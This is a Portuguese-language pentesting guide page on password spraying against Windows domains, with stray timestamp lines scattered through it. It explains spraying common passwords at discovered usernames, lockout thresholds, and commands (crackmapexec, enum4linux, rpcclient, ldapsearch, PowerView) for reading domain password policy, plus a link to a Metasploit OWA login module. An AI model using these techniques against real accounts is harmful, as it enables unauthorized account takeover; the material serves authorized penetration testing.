## **Password Spraying (Ataque de Senhas)**
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
Depois de encontrar vários **nomes de usuário válidos** , você pode tentar as senhas mais **comuns** (lembre-se da política de senhas do ambiente) com cada um dos usuários descobertos.\
Por **padrão** , o **comprimento mínimo** da **senha** é **7** .
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
Listas de nomes de usuário comuns também podem ser úteis: [https://github.com/insidetrust/statistically-likely-usernames ](https://github.com/insidetrust/statistically-likely-usernames )
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
Observe que você **pode bloquear algumas contas se tentar várias senhas incorretas** (por padrão, mais de 10).

### Obter política de senha
2022-10-05 21:51:12 +00:00
2023-06-06 18:56:34 +00:00
Se você tiver algumas credenciais de usuário ou um shell como um usuário de domínio, você pode **obter a política de senha com** :
2022-10-05 21:51:12 +00:00
```bash
# From Linux
crackmapexec < IP > -u 'user' -p 'password' --pass-pol
2022-10-04 21:36:29 +00:00
2023-03-20 15:41:00 +00:00
enum4linux -u 'username' -p 'password' -P < IP >
2022-10-05 21:51:12 +00:00
rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo
ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
# From Windows
net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
```

Existem várias ferramentas para fazer p**assword spraying no Outlook**.
2020-12-21 10:44:06 +00:00
2023-06-06 18:56:34 +00:00
* Com [MSF Owa\_login ](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_login/ )

2023-06-06 18:56:34 +00:00
Para usar qualquer uma dessas ferramentas, você precisa de uma lista de usuários e uma senha / uma pequena lista de senhas para fazer o spraying.
